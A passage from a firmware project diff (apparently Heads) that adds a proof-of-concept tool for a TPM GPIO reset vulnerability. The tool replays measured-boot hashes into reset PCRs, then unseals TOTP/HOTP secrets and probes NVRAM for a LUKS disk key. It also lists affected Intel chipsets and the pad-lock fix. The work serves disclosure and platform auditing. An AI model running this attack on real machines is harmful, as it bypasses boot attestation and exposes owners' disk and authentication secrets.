tpmr.sh AWK_PROG (handles all 3 log formats). +# PCR 4,5,7: /tmp/measuring_trace.log parsed generically for all PCR extends. +# +# Uses tpm2 pcrextend directly because tpmr.sh extend (-ic/-if) always +# re-hashes its input before extending. We need to replay pre-computed +# hashes from the measurement log verbatim; re-hashing would produce +# different digests that don't match the sealing policy. + +# Helper: detect hash algorithm from hash length +_hash_algo() { + TRACE_FUNC + _hash_len="${#1}" + DEBUG "_hash_algo: input len=$_hash_len" + case "$_hash_len" in + 40) echo "sha1" ;; + 64) echo "sha256" ;; + *) WARN "Unknown hash length: $_hash_len"; return 1 ;; + esac +} + +replay_measurements() { + TRACE_FUNC + + if [ "$EXECUTE_MODE" != "y" ]; then + return + fi + + section "6. MEASUREMENT REPLAY" + + # Source tpmr.sh for AWK_PROG (parses all 3 cbmem -L formats) + if [ -z "$AWK_PROG" ]; then + # shellcheck source=/dev/null + . /bin/tpmr.sh 2>/dev/null + fi + + # --- PCR 2: coreboot SRTM from cbmem -L --- + INFO " Replaying PCR 2 (coreboot SRTM) from cbmem -L..." + _log=$(cbmem -L 2>/dev/null) + if [ -z "$_log" ]; then + WARN " cbmem -L returned no output" + else + # Detect algorithm from TPM version (SHA-256 for TPM 2.0, SHA-1 for TPM 1.2) + _tpm_alg="sha256" + command -v tpm2 >/dev/null 2>&1 || _tpm_alg="sha1" + _pcr2_hashes=$(echo "$_log" | awk -v alg="$_tpm_alg" -v pcr="2" -f <(echo "$AWK_PROG") 2>/dev/null) + if [ -n "$_pcr2_hashes" ]; then + _count=0 + while read -r _hash; do + [ -z "$_hash" ] && continue + _algo=$(_hash_algo "$_hash") || continue + tpm2 pcrextend "2:$_algo=$_hash" 2>/dev/null + _count=$(( _count + 1 )) + done <<< "$_pcr2_hashes" + STATUS_OK "PCR 2: replayed $_count extends from cbmem -L" + else + WARN " No PCR 2 hashes extracted from cbmem -L" + fi + fi + + # --- PCR 4,5,7: Heads extends from measuring_trace.log --- + INFO " Replaying Heads extends from /tmp/measuring_trace.log..." + if [ -r /tmp/measuring_trace.log ]; then + # Parse all "Extended PCR[N] with hash " lines + # Format: INFO: TPM: Extended PCR[7] with hash 96ab5053e4630a040d55549ba73cff2178d401d763147776771f9774597b86a1 + _lines=$(grep "Extended PCR\[" /tmp/measuring_trace.log 2>/dev/null) + if [ -n "$_lines" ]; then + _total=0 + while read -r _line; do + _pcr=$(echo "$_line" | grep -o 'PCR\[[0-9]*\]' | grep -o '[0-9]*') + _hash=$(echo "$_line" | grep -o 'hash [0-9a-f]*' | cut -d' ' -f2) + if [ -n "$_pcr" ] && [ -n "$_hash" ]; then + _algo=$(_hash_algo "$_hash") || continue + tpm2 pcrextend "${_pcr}:$_algo=$_hash" 2>/dev/null + _total=$(( _total + 1 )) + DEBUG "PCR $_pcr extend: $_hash ($_algo)" + fi + done <<< "$_lines" + STATUS_OK "Heads extends: replayed $_total operations from measuring_trace.log" + else + WARN " No Heads extends found in measuring_trace.log" + fi + else + WARN " /tmp/measuring_trace.log not available" + fi + + # Show final PCR state (single-PCR reads, all-PCR pcrs hangs after GPIO) + INFO " Final PCR state after replay:" + for _pcr_idx in 0 1 2 3 4 5 6 7; do + tpm2 pcrread "sha256:$_pcr_idx" 2>/dev/null | \ + grep -E '^\s*[0-9]+\s*:' | tail -1 + done + +} + +# ---- Attempt secret extraction ---------------------------------------- + +attempt_secret_extraction() { + TRACE_FUNC + + if [ "$EXECUTE_MODE" != "y" ]; then + DEBUG "audit mode: skipping secret extraction" + return + fi + + section "7. SECRET EXTRACTION ATTEMPT" + + # --- 7a. TOTP unseal --- + INFO " 7a. Attempting TOTP secret unseal..." + DEBUG "Attempting unseal at NVRAM index 0x4d47 (TOTP/HOTP)" + _totp_secret="/tmp/secret/totp.key.tmp" + rm -f "$_totp_secret" 2>/dev/null + + if command -v tpmr.sh >/dev/null 2>&1; then + DEBUG "Running: tpmr.sh unseal 4d47 0,1,2,3,4,7 312 $_totp_secret" + if tpmr.sh unseal 4d47 0,1,2,3,4,7 312 "$_totp_secret" 2>/dev/null; then + STATUS_OK "TOTP secret unsealed successfully!" + INFO " Secret saved to $_totp_secret" + if [ -s "$_totp_secret" ]; then + INFO " Secret hex: $(xxd -p < "$_totp_secret" | tr -d '\n')" + fi + else + INFO "TOTP unseal failed. Expected if PCRs don't match the" + INFO "sealing policy, or if no TOTP secret was ever sealed." + fi + else + WARN "tpmr.sh not available; cannot unseal." + fi + DEBUG "" + + # --- 7b. HOTP unseal --- + INFO " 7b. Attempting HOTP secret unseal..." + _hotp_secret="/tmp/secret/hotp.key.tmp" + rm -f "$_hotp_secret" 2>/dev/null + DEBUG "Attempting unseal at NVRAM index 0x4d47 for HOTP" + + if command -v tpmr.sh >/dev/null 2>&1; then + if tpmr.sh unseal 4d47 0,1,2,3,4,7 312 "$_hotp_secret" 2>/dev/null; then + STATUS_OK "HOTP secret unsealed successfully!" + INFO " Secret saved to $_hotp_secret" + else + INFO "HOTP unseal failed (same secret as TOTP, expected)." + fi + fi + DEBUG "" + + # --- 7c. LUKS DUK --- + INFO " 7c. Attempting LUKS DUK unseal..." + # The LUKS DUK index varies. Try common ones. + for _idx in 0x81000001 0x81000002; do + DEBUG "Probing NVRAM index $_idx for DUK" + if command -v tpm2 >/dev/null 2>&1; then + if tpm2 nvread "$_idx" 2>/dev/null; then + DEBUG "DUK read succeeded from $_idx" + STATUS_OK "LUKS DUK read succeeded from $_idx!" + INFO " NVRAM index $_idx is readable without auth after reset." + fi + fi + done + DEBUG "" + + # Summary + DEBUG "" + if [ -s "$_totp_secret" ]; then + DEBUG "TOTP secret extracted successfully" + DEBUG "" + INFO "======================================================================" + INFO " ATTACK DEMONSTRATED: TPM secrets were extracted after PLTRST# assertion!" + INFO "======================================================================" + DEBUG "" + INFO " By asserting PLTRST# via GPIO ($MECHANISM on $GLOBAL_PCH) and replaying the" + INFO " measurement log, the following secrets were recovered:" + INFO " - TOTP/HOTP secret: YES" + DEBUG "" + INFO " This proves the PLTRST# GPIO assertion bypasses the TPM's measured" + INFO " boot attestation on this platform." + else + DEBUG "No secrets extracted" + INFO "No secrets were extracted. This is expected if no secrets" + INFO "were sealed, or if the replay did not match the sealing policy." + fi +} + +# ---- Main ------------------------------------------------------------- + +usage() { + cat >&2 </dev/null) + DEBUG "Pre-assertion PCR snapshot captured" + fi + perform_tpm_gpio_reset + if [ "$GPIO_FAILED" = "y" ]; then + DEBUG "GPIO assertion failed; skipping PCR verify, replay, and secret extraction" + else + verify_pcrs + replay_measurements + attempt_secret_extraction + fi + + # Summary + section "SUMMARY" + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + DEBUG "Summary: PLATFORM_UNKNOWN=y, exiting with 0" + INFO " Platform not recognized or not in the vulnerability database." + DEBUG "" + INFO " Known affected platforms (by PCI device ID):" + INFO " - CNP-LP (0x9d84): GPIO PAD_CFG (PLTRST_CPU_B, port 0x6b)" + INFO " - SPT/KBP (0xa14*/0xa2c*): GPIO PAD_CFG (GPP_B13, port 0xaf)" + INFO " - CML-DT (0x0684-0x068f): GPIO PAD_CFG (GPP_B13, port 0xaf)" + INFO " - CML_U (0x0660-0x0661): GPIO PAD_CFG (GPP_B13, port 0x6e)" + INFO " - CFL_S (0xa303-0xa30e): GPIO PAD_CFG (GPP_B13, port 0x6e)" + INFO " - TGL (0xa08*/0xa0a*): GPIO PAD_CFG (GPP_B13, port 0x6e)" + INFO " - ADL-P (0x518*): GPIO PAD_CFG (GPP_B13, port 0x6e)" + INFO " - RPL-P (0x519*): GPIO PAD_CFG (GPP_B13, port 0x6d)" + INFO " - ADL-S (0x7a8*): GPIO PAD_CFG (GPP_B13, port 0x6d)" + INFO " - RPL-S (0x7a0*): GPIO PAD_CFG (GPP_B13, port 0x6d)" + INFO " - ARL-S (0x7e2*): GPIO PAD_CFG (GPP_B13, port 0x6d)" + DEBUG "" + INFO " Known NOT affected:" + INFO " - Pre-Skylake: dedicated PLTRST pin" + INFO " - Meteor Lake (0x7e00-0x7e07): GPIO lock infrastructure compiled, per-pad enforcement unconfigured" + DEBUG "" + exit 0 + fi + + if [ "$EXECUTE_MODE" = "y" ]; then + DEBUG "Summary: attack executed, exiting with 3" + DEBUG "" + INFO " Platform class: $GLOBAL_PCH" + if [ "$MECHANISM" = "GPIO_PAD_CFG" ]; then + INFO " Attack method: GPIO PAD_CFG (PLTRST_CPU_B pad $PLTRST_PAD)" + else + INFO " Attack method: GPIO PAD_CFG via PCR MMIO" + fi + DEBUG "" + DEBUG "PCR comparison: PRE_RESET_PCRS (non-zero, coreboot measurements) vs POST_RESET_PCRS (should be zero after assertion, restored after replay)" + [ -n "$PRE_RESET_PCRS" ] && DEBUG "Pre-assertion PCR 2 was non-zero (contains coreboot SRTM measurements)" + if [ "$GPIO_FAILED" = "y" ]; then + INFO " PLTRST# GPIO assertion was ATTEMPTED but NOT confirmed." + INFO " No bus reset detected by kernel TPM driver (/sys/class/tpm/tpm0/pcrs absent)." + INFO " PCR clearing is from software TPM2_Startup(CLEAR) only." + INFO " Platform may not be susceptible to this attack via GPIO PLTRST# assertion." + else + INFO " PLTRST# GPIO assertion attack was EXECUTED on this platform." + INFO " PLTRST# assertion complete. PCRs are cleared." + INFO " NVRAM sealed blobs preserved (accessible once PCRs are re-extended)." + fi + DEBUG "" + exit 3 + else + DEBUG "Summary: vulnerable platform in audit mode, exiting with 2" + # Tier-based vulnerability summary: tier-1 (SPT_KBP) confirms + # vulnerability; tier-3 (ADL_P, RPL_P, ADL_S, RPL_S) reports + # uncertainty from NV4x hardware test results. + case "$GLOBAL_PCH" in + ADL_P|RPL_P|ADL_S|RPL_S) + INFO " Platform $GLOBAL_PCH (device $GLOBAL_DEV_ID) -- VULNERABILITY UNCERTAIN." + INFO " PLTRST# pad is accessible via GPIO community at port $(printf "0x%x" $COMMUNITY_PORT)" + INFO " and is not locked by firmware (PADCFGLOCK not set)." + INFO " However, hardware test on NV4x ADL-P shows mode bits [13:10]" + INFO " and TX[0] are write-ignored at PCH die level despite PADCFGLOCK=0." + INFO " PLTRST# assertion NOT confirmed on this PCH die." + INFO " Bus pin lock status: $BUS_LOCKED_COUNT/$BUS_TOTAL_COUNT pins locked" + DEBUG "" + INFO " Action: physical scope verification needed." ;; + *) + INFO " Platform $GLOBAL_PCH (device $GLOBAL_DEV_ID) is VULNERABLE." + INFO " PLTRST# pad is accessible via GPIO community at port $(printf "0x%x" $COMMUNITY_PORT)" + INFO " and is not locked by firmware (PADCFGLOCK not set)." + INFO " Bus pin lock status: $BUS_LOCKED_COUNT/$BUS_TOTAL_COUNT pins locked" + INFO " An OS with /dev/mem access can reset the TPM without" + INFO " platform reset, clearing all PCRs." + DEBUG "" + INFO " Action: ensure coreboot locks this pad via gpio_lock_pad()" + INFO " or PAD_CFG_NF_LOCK(). Without a lock, the TPM measured" + INFO " boot chain is bypassable from the OS." + DEBUG "" + INFO " Run with --execute to demonstrate the actual attack." ;; + esac + DEBUG "" + exit 2 + fi +} + +main "$@" diff --git a/modules/tpm-gpio-reset b/modules/tpm-gpio-reset new file mode 100644 index 000000000..d4623cfc7 --- /dev/null +++ b/modules/tpm-gpio-reset @@ -0,0 +1,22 @@ +# TPM GPIO reset detection tool +# PoC for TPM GPIO Reset Vulnerability (CVE-2025-32399 and related) +# Wrapper script: initrd/bin/tpm-gpio-reset +modules-$(CONFIG_TPM2_TOOLS) += tpm-gpio-reset + +tpm-gpio-reset_repo := https://github.com/tlaurion/tpm-gpio-fail.git +# Full SHA required for git fetch; short hash used for directory naming +tpm-gpio-reset_commit_hash := 660d745ea4a5446277f2a6b52b9cf07d0b54e0d7 +tpm-gpio-reset_version := 660d745 +tpm-gpio-reset_base_dir := tpm-gpio-fail-$(tpm-gpio-reset_version) +tpm-gpio-reset_dir := tpm-gpio-fail-$(tpm-gpio-reset_version) + +# Build just the detect binary, no libpci dependency +# MMCFG-based PCI config space access via /dev/mem, MUSL-compatible +# -static must be in LDFLAGS for the link step, CFLAGS only affects compile +tpm-gpio-reset_target := \ + -C detect \ + CC="$(heads_cc)" \ + AR="$(AR)" \ + CFLAGS="-Os" + +tpm-gpio-reset_output := detect/detect